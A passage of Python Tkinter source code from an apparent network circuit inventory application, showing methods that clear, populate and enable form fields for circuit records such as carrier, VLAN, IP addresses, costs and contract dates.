self.ButtonDeviceTraceroutePE['state'] = DISABLED\r\n self.ButtonDeviceTracerouteCE['state'] = DISABLED\r\n self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n\r\n\r\n # Create Progress Bar\r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n\r\n # Setup Labels and Entry\r\n self.CircuitIDFrameEntry['state'] = 'normal'\r\n self.CircuitIDFrameEntry.delete(0,END)\r\n self.CircuitIDFrameEntry['state'] = 'readonly'\r\n \r\n self.CircuitsDescriptionFrameEntry['state'] = 'normal'\r\n self.CircuitsDescriptionFrameEntry.delete(0,END)\r\n self.CircuitsDescriptionFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitComboBoxTypeID.current(0)\r\n self.CircuitComboBoxTypeID['state'] = DISABLED\r\n\r\n self.CircuitsComboBoxPortSpeed.current(0)\r\n self.CircuitsComboBoxPortSpeed['state'] = DISABLED\r\n \r\n self.CircuitsComboBoxStatus.current(0)\r\n self.CircuitsComboBoxStatus['state'] = DISABLED\r\n\r\n self.CircuitComboBoxTerm.current(0)\r\n self.CircuitComboBoxTerm['state'] = DISABLED\r\n\r\n self.CircuitComboBoxCarrier.current(0)\r\n self.CircuitComboBoxCarrier['state'] = DISABLED\r\n\r\n self.CircuitsBandwidthFrameEntry['state'] = 'normal'\r\n self.CircuitsBandwidthFrameEntry.delete(0,END)\r\n self.CircuitsBandwidthFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitTermFrameEntry['state'] = 'normal'\r\n self.CircuitTermFrameEntry.delete(0,END)\r\n self.CircuitTermFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsContractNoFrameEntry['state'] = 'normal'\r\n self.CircuitsContractNoFrameEntry.delete(0,END)\r\n self.CircuitsContractNoFrameEntry['state'] = 'readonly'\r\n \r\n self.CircuitAccountNoFrameEntry['state'] = 'normal'\r\n self.CircuitAccountNoFrameEntry.delete(0,END)\r\n self.CircuitAccountNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitOrderNoFrameEntry['state'] = 'normal'\r\n self.CircuitOrderNoFrameEntry.delete(0,END)\r\n self.CircuitOrderNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry.delete(0,END)\r\n self.CircuitCEASNFrameEntry['state'] = 'readonly' \r\n\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry.delete(0,END)\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitVLANNoFrameEntry['state'] = 'normal'\r\n self.CircuitVLANNoFrameEntry.delete(0,END)\r\n self.CircuitVLANNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitNPANXXFrameEntry['state'] = 'normal'\r\n self.CircuitNPANXXFrameEntry.delete(0,END)\r\n self.CircuitNPANXXFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPEASNFrameEntry['state'] = 'normal'\r\n self.CircuitPEASNFrameEntry.delete(0,END)\r\n self.CircuitPEASNFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitPEIPAddressFrameEntry.delete(0,END)\r\n self.CircuitPEIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPESwitchFrameEntry['state'] = 'normal'\r\n self.CircuitPESwitchFrameEntry.delete(0,END)\r\n self.CircuitPESwitchFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPELocationFrameEntry['state'] = 'normal'\r\n self.CircuitPELocationFrameEntry.delete(0,END)\r\n self.CircuitPELocationFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitMonthlyCostFrameEntry.delete(0,END)\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry.delete(0,END)\r\n self.CircuitETFFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC1FrameEntry['state'] = 'normal'\r\n self.CircuitLEC1FrameEntry.delete(0,END)\r\n self.CircuitLEC1FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC2FrameEntry['state'] = 'normal'\r\n self.CircuitLEC2FrameEntry.delete(0,END)\r\n self.CircuitLEC2FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC3FrameEntry['state'] = 'normal'\r\n self.CircuitLEC3FrameEntry.delete(0,END)\r\n self.CircuitLEC3FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC4FrameEntry['state'] = 'normal'\r\n self.CircuitLEC4FrameEntry.delete(0,END)\r\n self.CircuitLEC4FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC5FrameEntry['state'] = 'normal'\r\n self.CircuitLEC5FrameEntry.delete(0,END)\r\n self.CircuitLEC5FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitDMARK1FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK1FrameEntry.delete(0,END)\r\n self.CircuitDMARK1FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitDMARK2FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK2FrameEntry.delete(0,END)\r\n self.CircuitDMARK2FrameEntry['state'] = 'readonly'\r\n\r\n\r\n # Setup Labels and Button Calendars Installed, Activated, Disconnected\r\n\r\n self.CircuitsButtonInstalledDate['state'] = DISABLED\r\n self.CircuitsButtonActivatedDate['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDate['state'] = DISABLED\r\n self.CircuitsButtonExpirationDate['state'] = DISABLED\r\n\r\n self.CircuitsButtonInstalledDateClear['state'] = DISABLED\r\n self.CircuitsButtonActivatedDateClear['state'] = DISABLED\r\n self.CircuitsButtonExpirationDateClear['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDateClear['state'] = DISABLED\r\n\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'normal'\r\n self.CircuitsInstalledDateFrameEntry.delete(0,END)\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsContractNoFrameEntry['state'] = 'normal'\r\n self.CircuitsContractNoFrameEntry.delete(0,END)\r\n self.CircuitsContractNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'normal'\r\n self.CircuitsExpirationDateFrameEntry.delete(0,END)\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsActivatedDateFrameEntry.delete(0,END)\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry.delete(0,END)\r\n self.CircuitCEASNFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry.delete(0,END)\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsDisconnectedDateFrameEntry.delete(0,END)\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n\r\n # COST Entries (Float)\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitMonthlyCostFrameEntry.delete(0,END)\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry.delete(0,END)\r\n self.CircuitETFFrameEntry['state'] = 'readonly'\r\n\r\n #------------------------------- Deleting Tree View --------\r\n x = self.CircuitsTreeview.get_children()\r\n if x != '()': # checks if there is something in the first row\r\n for child in x:\r\n #print (child)\r\n self.CircuitsTreeview.delete(child)\r\n #------------------------------- Deleting Tree View --------\r\n\r\n def Display_Screen(self,curItem): \r\n # Create Progress Bar\r\n self.Get_Type_PortSpeed_and_Satus()\r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n\r\n '''\r\n self.CircuitsTablePriaryKeyArray = [] # Circuits ID\r\n self.CircuitsTableDescriptionArray = [] \r\n self.CircuitsTableCountryIDArray = [] \r\n self.CircuitsTableRegionIDArray = []\r\n self.CircuitsTableFacilityIDArray = []\r\n self.CircuitsTableSiteIDArray = []\r\n self.CircuitsTableCarrierIDArray = []\r\n self.CircuitsTableCircuitTypeArray = []\r\n self.CircuitsTablePortSpeedArray = []\r\n self.CircuitsTableBandwidthArray = []\r\n self.CircuitsTableStatusArray = []\r\n self.CircuitsTableDmarc_Info_1Array = []\r\n self.CircuitsTableDmarc_Info_2Array = []\r\n self.CircuitsTableLEC1Array = []\r\n self.CircuitsTableLEC2Array = []\r\n self.CircuitsTableLEC3Array = []\r\n self.CircuitsTableLEC4Array = []\r\n self.CircuitsTableLEC5Array = []\r\n self.CircuitsTableCE_ASNArray = []\r\n self.CircuitsTableCE_IP_AddressArray = []\r\n self.CircuitsTablePE_ASNArray = []\r\n self.CircuitsTablePE_IP_AddressArray = []\r\n self.CircuitsTableVLAN_IDArray = []\r\n self.CircuitsTablePE_SwitchArray = []\r\n self.CircuitsTablePE_LocationArray = []\r\n self.CircuitsTableNPA_NXXArray = []\r\n self.CircuitsTableMonthlyCostArray = []\r\n self.CircuitsTableOrderNumberArray = []\r\n self.CircuitsTableDateInstalledArray = []\r\n self.CircuitsTableDayInstalledArray = []\r\n self.CircuitsTableMonthInstalledArray = []\r\n self.CircuitsTableYearInstalledArray = []\r\n self.CircuitsTableDateActivatedArray = []\r\n self.CircuitsTableDayActivatedArray = []\r\n self.CircuitsTableMonthActivatedArray = []\r\n self.CircuitsTableYearActivatedArray = []\r\n self.CircuitsTableDisconectedDateArray = []\r\n self.CircuitsTableDayDisconectedArray = []\r\n self.CircuitsTableMonthDisconectedArray = []\r\n self.CircuitsTableYearDisconectedArray = []\r\n self.CircuitsTableExpirationDateArray = []\r\n self.CircuitsTableDayExpirationArray = []\r\n self.CircuitsTableMonthExpirationArray = []\r\n self.CircuitsTableYearExpirationArray = []\r\n self.CircuitsTableTerm_DayArray = []\r\n self.CircuitsTableTerm_TimeArray = []\r\n self.CircuitsTableETFArray = []\r\n self.CircuitsTableContract_NoArray = []\r\n self.CircuitsTableAccount_NoArray = []\r\n self.CircuitsTableExecutedByArray = []\r\n\r\n '''\r\n # Setup Labels and Entry\r\n self.CircuitIDFrameEntry['state'] = 'normal'\r\n self.CircuitIDFrameEntry.delete(0,END)\r\n self.CircuitIDFrameEntry.insert(0,self.CircuitsTablePriaryKeyArray[curItem])\r\n self.CircuitIDFrameEntry['state'] = 'readonly'\r\n \r\n self.CircuitsDescriptionFrameEntry['state'] = 'normal'\r\n self.CircuitsDescriptionFrameEntry.delete(0,END)\r\n self.CircuitsDescriptionFrameEntry.insert(0,self.CircuitsTableDescriptionArray[curItem])\r\n self.CircuitsDescriptionFrameEntry['state'] = 'readonly'\r\n\r\n # Find Circuit Type in the Array\r\n i = 0\r\n self.CircuitComboBoxTypeID.current(i)\r\n while (i < len(self.CircuitTypeIDArray)):\r\n if (self.CircuitsTableCircuitTypeArray[curItem] == self.CircuitTypeIDArray[i]):\r\n self.CircuitComboBoxTypeID.current(i)\r\n i = i + len(self.CircuitTypeIDArray) \r\n else:\r\n i = i + 1\r\n # find Port Speed in the Array\r\n i = 0\r\n self.CircuitsComboBoxPortSpeed.current(i)\r\n while (i < len(self.CircuitPortSpeedIDArray)):\r\n if (self.CircuitsTablePortSpeedArray[curItem] == self.CircuitPortSpeedIDArray[i]):\r\n self.CircuitsComboBoxPortSpeed.current(i)\r\n i = i + len(self.CircuitPortSpeedIDArray) \r\n else:\r\n i = i + 1\r\n # find Status in the Array\r\n i = 0\r\n while (i < len(self.CircuitstatusValues)):\r\n if (self.CircuitsTableStatusArray[curItem] == self.CircuitstatusValues[i]):\r\n self.CircuitsComboBoxStatus.current(i)\r\n i = i + len(self.CircuitstatusValues) \r\n else:\r\n i = i + 1\r\n\r\n # find Term in the Array\r\n i = 0\r\n while (i < len(self.CircuitTermValues)):\r\n if (self.CircuitsTableTerm_TimeArray[curItem] == self.CircuitTermValues[i]):\r\n self.CircuitComboBoxTerm.current(i)\r\n i = i + len(self.CircuitTermValues) \r\n else:\r\n i = i + 1\r\n \r\n # find Carrier in the Array\r\n i = 0\r\n while (i < len(self.CircuitCarrierNameArray)):\r\n if (self.CircuitsTableCarrierIDArray[curItem] == self.CircuitCarrierNameArray[i]):\r\n self.CircuitComboBoxCarrier.current(i)\r\n i = i + len(self.CircuitCarrierNameArray) \r\n else:\r\n i = i + 1\r\n\r\n self.CircuitsBandwidthFrameEntry['state'] = 'normal'\r\n self.CircuitsBandwidthFrameEntry.delete(0,END)\r\n self.CircuitsBandwidthFrameEntry.insert(0,self.CircuitsTableBandwidthArray[curItem])\r\n self.CircuitsBandwidthFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitTermFrameEntry['state'] = 'normal'\r\n self.CircuitTermFrameEntry.delete(0,END)\r\n self.CircuitTermFrameEntry.insert(0,self.CircuitsTableTerm_DayArray[curItem])\r\n self.CircuitTermFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsContractNoFrameEntry['state'] = 'normal'\r\n self.CircuitsContractNoFrameEntry.delete(0,END)\r\n self.CircuitsContractNoFrameEntry.insert(0,self.CircuitsTableContract_NoArray[curItem])\r\n self.CircuitsContractNoFrameEntry['state'] = 'readonly'\r\n \r\n self.CircuitAccountNoFrameEntry['state'] = 'normal'\r\n self.CircuitAccountNoFrameEntry.delete(0,END)\r\n self.CircuitAccountNoFrameEntry.insert(0,self.CircuitsTableAccount_NoArray[curItem])\r\n self.CircuitAccountNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitOrderNoFrameEntry['state'] = 'normal'\r\n self.CircuitOrderNoFrameEntry.delete(0,END)\r\n self.CircuitOrderNoFrameEntry.insert(0,self.CircuitsTableOrderNumberArray[curItem])\r\n self.CircuitOrderNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry.delete(0,END)\r\n self.CircuitCEASNFrameEntry.insert(0,self.CircuitsTableCE_ASNArray[curItem])\r\n self.CircuitCEASNFrameEntry['state'] = 'readonly' \r\n\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry.delete(0,END)\r\n self.CircuitCEIPAddressFrameEntry.insert(0,self.CircuitsTableCE_IP_AddressArray[curItem])\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitVLANNoFrameEntry['state'] = 'normal'\r\n self.CircuitVLANNoFrameEntry.delete(0,END)\r\n self.CircuitVLANNoFrameEntry.insert(0,self.CircuitsTableVLAN_IDArray[curItem])\r\n self.CircuitVLANNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitNPANXXFrameEntry['state'] = 'normal'\r\n self.CircuitNPANXXFrameEntry.delete(0,END)\r\n self.CircuitNPANXXFrameEntry.insert(0,self.CircuitsTableNPA_NXXArray[curItem])\r\n self.CircuitNPANXXFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPEASNFrameEntry['state'] = 'normal'\r\n self.CircuitPEASNFrameEntry.delete(0,END)\r\n self.CircuitPEASNFrameEntry.insert(0,self.CircuitsTablePE_ASNArray[curItem])\r\n self.CircuitPEASNFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitPEIPAddressFrameEntry.delete(0,END)\r\n self.CircuitPEIPAddressFrameEntry.insert(0,self.CircuitsTablePE_IP_AddressArray[curItem])\r\n self.CircuitPEIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPESwitchFrameEntry['state'] = 'normal'\r\n self.CircuitPESwitchFrameEntry.delete(0,END)\r\n self.CircuitPESwitchFrameEntry.insert(0,self.CircuitsTablePE_SwitchArray[curItem])\r\n self.CircuitPESwitchFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitPELocationFrameEntry['state'] = 'normal'\r\n self.CircuitPELocationFrameEntry.delete(0,END)\r\n self.CircuitPELocationFrameEntry.insert(0,self.CircuitsTablePE_LocationArray[curItem])\r\n self.CircuitPELocationFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitMonthlyCostFrameEntry.delete(0,END)\r\n self.CircuitMonthlyCostFrameEntry.insert(0,self.CircuitsTableMonthlyCostArray[curItem])\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry.delete(0,END)\r\n self.CircuitETFFrameEntry.insert(0,self.CircuitsTableETFArray[curItem])\r\n self.CircuitETFFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC1FrameEntry['state'] = 'normal'\r\n self.CircuitLEC1FrameEntry.delete(0,END)\r\n self.CircuitLEC1FrameEntry.insert(0,self.CircuitsTableLEC1Array[curItem])\r\n self.CircuitLEC1FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC2FrameEntry['state'] = 'normal'\r\n self.CircuitLEC2FrameEntry.delete(0,END)\r\n self.CircuitLEC2FrameEntry.insert(0,self.CircuitsTableLEC2Array[curItem])\r\n self.CircuitLEC2FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC3FrameEntry['state'] = 'normal'\r\n self.CircuitLEC3FrameEntry.delete(0,END)\r\n self.CircuitLEC3FrameEntry.insert(0,self.CircuitsTableLEC3Array[curItem])\r\n self.CircuitLEC3FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC4FrameEntry['state'] = 'normal'\r\n self.CircuitLEC4FrameEntry.delete(0,END)\r\n self.CircuitLEC4FrameEntry.insert(0,self.CircuitsTableLEC4Array[curItem])\r\n self.CircuitLEC4FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitLEC5FrameEntry['state'] = 'normal'\r\n self.CircuitLEC5FrameEntry.delete(0,END)\r\n self.CircuitLEC5FrameEntry.insert(0,self.CircuitsTableLEC5Array[curItem])\r\n self.CircuitLEC5FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitDMARK1FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK1FrameEntry.delete(0,END)\r\n self.CircuitDMARK1FrameEntry.insert(0,self.CircuitsTableDmarc_Info_1Array[curItem])\r\n self.CircuitDMARK1FrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitDMARK2FrameEntry['state'] = 'normal'\r\n self.CircuitDMARK2FrameEntry.delete(0,END)\r\n self.CircuitDMARK2FrameEntry.insert(0,self.CircuitsTableDmarc_Info_2Array[curItem])\r\n self.CircuitDMARK2FrameEntry['state'] = 'readonly'\r\n\r\n # Setup Labels and Button Calendars Installed, Activated, Disconnected\r\n\r\n self.CircuitsButtonInstalledDate['state'] = DISABLED\r\n self.CircuitsButtonActivatedDate['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDate['state'] = DISABLED\r\n self.CircuitsButtonExpirationDate['state'] = DISABLED\r\n\r\n self.CircuitsButtonInstalledDateClear['state'] = DISABLED\r\n self.CircuitsButtonActivatedDateClear['state'] = DISABLED\r\n self.CircuitsButtonExpirationDateClear['state'] = DISABLED\r\n self.CircuitsButtonDisconnectedDateClear['state'] = DISABLED\r\n \r\n\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'normal'\r\n self.CircuitsInstalledDateFrameEntry.delete(0,END)\r\n if (self.CircuitsTableDateInstalledArray[curItem] == None):\r\n self.CircuitsInstalledDateFrameEntry.insert(0,\" \")\r\n else:\r\n self.CircuitsInstalledDateFrameEntry.insert(0,self.CircuitsTableDateInstalledArray[curItem])\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsContractNoFrameEntry['state'] = 'normal'\r\n self.CircuitsContractNoFrameEntry.delete(0,END)\r\n if (self.CircuitsTableContract_NoArray[curItem] == None):\r\n self.CircuitsContractNoFrameEntry.insert(0,\" \")\r\n else:\r\n self.CircuitsContractNoFrameEntry.insert(0,self.CircuitsTableContract_NoArray[curItem])\r\n self.CircuitsContractNoFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'normal'\r\n self.CircuitsExpirationDateFrameEntry.delete(0,END)\r\n if (self.CircuitsTableExpirationDateArray[curItem] == None):\r\n self.CircuitsExpirationDateFrameEntry.insert(0,\" \")\r\n else:\r\n self.CircuitsExpirationDateFrameEntry.insert(0,self.CircuitsTableExpirationDateArray[curItem])\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsActivatedDateFrameEntry.delete(0,END)\r\n if (self.CircuitsTableDateActivatedArray[curItem] == None):\r\n self.CircuitsActivatedDateFrameEntry.insert(0,\" \")\r\n else:\r\n self.CircuitsActivatedDateFrameEntry.insert(0,self.CircuitsTableDateActivatedArray[curItem])\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry.delete(0,END)\r\n if (self.CircuitsTableCE_ASNArray[curItem] == None):\r\n self.CircuitCEASNFrameEntry.insert(0,\" \")\r\n else:\r\n self.CircuitCEASNFrameEntry.insert(0,self.CircuitsTableCE_ASNArray[curItem])\r\n self.CircuitCEASNFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry.delete(0,END)\r\n if (self.CircuitsTableCE_IP_AddressArray[curItem] == None):\r\n self.CircuitCEIPAddressFrameEntry.insert(0,\" \")\r\n else:\r\n self.CircuitCEIPAddressFrameEntry.insert(0,self.CircuitsTableCE_IP_AddressArray[curItem])\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsDisconnectedDateFrameEntry.delete(0,END)\r\n if (self.CircuitsTableDisconectedDateArray[curItem] == None):\r\n self.CircuitsTableDisconectedDateArray.insert(0,\" \")\r\n else:\r\n self.CircuitsDisconnectedDateFrameEntry.insert(0,self.CircuitsTableDisconectedDateArray[curItem])\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n\r\n # COST Entries (Float)\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'normal'\r\n self.CircuitMonthlyCostFrameEntry.delete(0,END)\r\n self.CircuitMonthlyCostFrameEntry.insert(0,str(self.CircuitsTableMonthlyCostArray[curItem]))\r\n self.CircuitMonthlyCostFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitETFFrameEntry['state'] = 'normal'\r\n self.CircuitETFFrameEntry.delete(0,END)\r\n self.CircuitETFFrameEntry.insert(0,str(self.CircuitsTableETFArray[curItem]))\r\n self.CircuitETFFrameEntry['state'] = 'readonly'\r\n\r\n def Enable_Screen(self,option):\r\n # This function is used when the ADD button is selected\r\n\r\n #self.CircuitsBusinessUnitPowerCheckbutton.select()\r\n #print (self.varpower.get())\r\n\r\n if (Is_Country_Available):\r\n self.ButtonCountryAdd['state'] = DISABLED\r\n self.ButtonCountryRefresh['state'] = DISABLED\r\n if (Is_Region_Available):\r\n self.ButtonRegionAdd['state'] = DISABLED\r\n self.ButtonRegionRefresh['state'] = DISABLED\r\n if (Is_Facility_Available):\r\n self.ButtonFacilityAdd['state'] = DISABLED\r\n self.ButtonFacilityRefresh['state'] = DISABLED\r\n if (Is_Sites_Available):\r\n self.ButtonSitesAdd['state'] = DISABLED\r\n self.ButtonSitesRefresh['state'] = DISABLED\r\n\r\n \r\n self.ButtonCircuitsAdd['state'] = DISABLED\r\n self.ButtonCircuitsEdit['state'] = DISABLED\r\n self.ButtonCircuitsRemove['state'] = DISABLED\r\n self.ButtonCircuitsOK['state'] = ACTIVE\r\n self.ButtonCircuitsCancel['state'] = ACTIVE\r\n self.ButtonDevicePingPE64['state'] = DISABLED\r\n self.ButtonDevicePingPE1500['state'] = DISABLED\r\n self.ButtonDevicePingCE64['state'] = DISABLED\r\n self.ButtonDevicePingCE1500['state'] = DISABLED\r\n self.ButtonDeviceCircuits['state'] = DISABLED\r\n self.ButtonDeviceTraceroutePE['state'] = DISABLED\r\n self.ButtonDeviceTracerouteCE['state'] = DISABLED\r\n self.ButtonDeviceLocalPointOfContacts['state'] = DISABLED\r\n\r\n\r\n # Create Progress Bar\r\n self.progress['maximum'] = 100\r\n self.progress['value'] = 0\r\n\r\n # Setup Labels and Entry\r\n if (option == 'add'): #<----------------------------------- ADD Button\r\n self.ComboBoxCoutryID['state'] = DISABLED\r\n self.ComboBoxRegionID['state'] = DISABLED\r\n self.ComboBoxFacilityID['state'] = DISABLED\r\n self.ComboBoxSitesID['state'] = DISABLED\r\n\r\n self.Get_Type_PortSpeed_and_Satus()\r\n\r\n self.CircuitIDFrameEntry['state'] = 'normal'\r\n self.CircuitIDFrameEntry.delete(0,END)\r\n\r\n self.CircuitsDescriptionFrameEntry['state'] = 'normal'\r\n self.CircuitsDescriptionFrameEntry.delete(0,END)\r\n\r\n # Calendars:\r\n self.CircuitsButtonInstalledDate['state'] = ACTIVE\r\n self.CircuitsButtonActivatedDate['state'] = ACTIVE\r\n self.CircuitsButtonDisconnectedDate['state'] = ACTIVE\r\n self.CircuitsButtonExpirationDate['state'] = ACTIVE \r\n\r\n self.CircuitsButtonInstalledDateClear['state'] = ACTIVE\r\n self.CircuitsButtonActivatedDateClear['state'] = ACTIVE\r\n self.CircuitsButtonExpirationDateClear['state'] = ACTIVE\r\n self.CircuitsButtonDisconnectedDateClear['state'] = ACTIVE\r\n\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'normal'\r\n self.CircuitsInstalledDateFrameEntry.delete(0,END)\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly'\r\n \r\n self.CircuitsActivatedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsActivatedDateFrameEntry.delete(0,END)\r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n \r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'normal'\r\n self.CircuitsDisconnectedDateFrameEntry.delete(0,END)\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'normal'\r\n self.CircuitsExpirationDateFrameEntry.delete(0,END)\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n\r\n # ComboBox\r\n\r\n self.CircuitComboBoxTypeID['state'] = DISABLED\r\n self.CircuitsComboBoxPortSpeed['state'] = DISABLED\r\n self.CircuitsComboBoxStatus['state'] = DISABLED\r\n self.CircuitComboBoxTerm['state'] = DISABLED\r\n self.CircuitComboBoxCarrier['state'] = DISABLED\r\n \r\n self.CircuitComboBoxTypeID['state'] = 'readonly'\r\n self.CircuitsComboBoxPortSpeed['state'] = 'readonly'\r\n self.CircuitsComboBoxStatus['state'] = 'readonly'\r\n self.CircuitComboBoxTerm['state'] = 'readonly'\r\n self.CircuitComboBoxCarrier['state'] = 'readonly'\r\n\r\n # Calendars\r\n self.CircuitsInstalledDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsInstalledDateFrameEntry.delete(0,END)\r\n \r\n self.CircuitsActivatedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsActivatedDateFrameEntry.delete(0,END)\r\n\r\n self.CircuitsDisconnectedDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsDisconnectedDateFrameEntry.delete(0,END)\r\n\r\n self.CircuitsExpirationDateFrameEntry['state'] = 'readonly'\r\n self.CircuitsExpirationDateFrameEntry.delete(0,END)\r\n\r\n self.CircuitsBandwidthFrameEntry['state'] = 'normal'\r\n self.CircuitsBandwidthFrameEntry.delete(0,END)\r\n\r\n # Setup Labels and Entry\r\n\r\n self.CircuitsBandwidthFrameEntry['state'] = 'normal'\r\n self.CircuitsBandwidthFrameEntry.delete(0,END)\r\n\r\n self.CircuitTermFrameEntry['state'] = 'normal'\r\n self.CircuitTermFrameEntry.delete(0,END)\r\n\r\n self.CircuitsContractNoFrameEntry['state'] = 'normal'\r\n self.CircuitsContractNoFrameEntry.delete(0,END)\r\n \r\n self.CircuitAccountNoFrameEntry['state'] = 'normal'\r\n self.CircuitAccountNoFrameEntry.delete(0,END)\r\n\r\n self.CircuitOrderNoFrameEntry['state'] = 'normal'\r\n self.CircuitOrderNoFrameEntry.delete(0,END)\r\n\r\n self.CircuitCEASNFrameEntry['state'] = 'normal'\r\n self.CircuitCEASNFrameEntry.delete(0,END)\r\n\r\n self.CircuitCEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitCEIPAddressFrameEntry.delete(0,END)\r\n\r\n self.CircuitVLANNoFrameEntry['state'] = 'normal'\r\n self.CircuitVLANNoFrameEntry.delete(0,END)\r\n\r\n self.CircuitNPANXXFrameEntry['state'] = 'normal'\r\n self.CircuitNPANXXFrameEntry.delete(0,END)\r\n\r\n self.CircuitPEASNFrameEntry['state'] = 'normal'\r\n self.CircuitPEASNFrameEntry.delete(0,END)\r\n\r\n self.CircuitPEIPAddressFrameEntry['state'] = 'normal'\r\n self.CircuitPEIPAddressFrameEntry.delete(0,END)\r\n 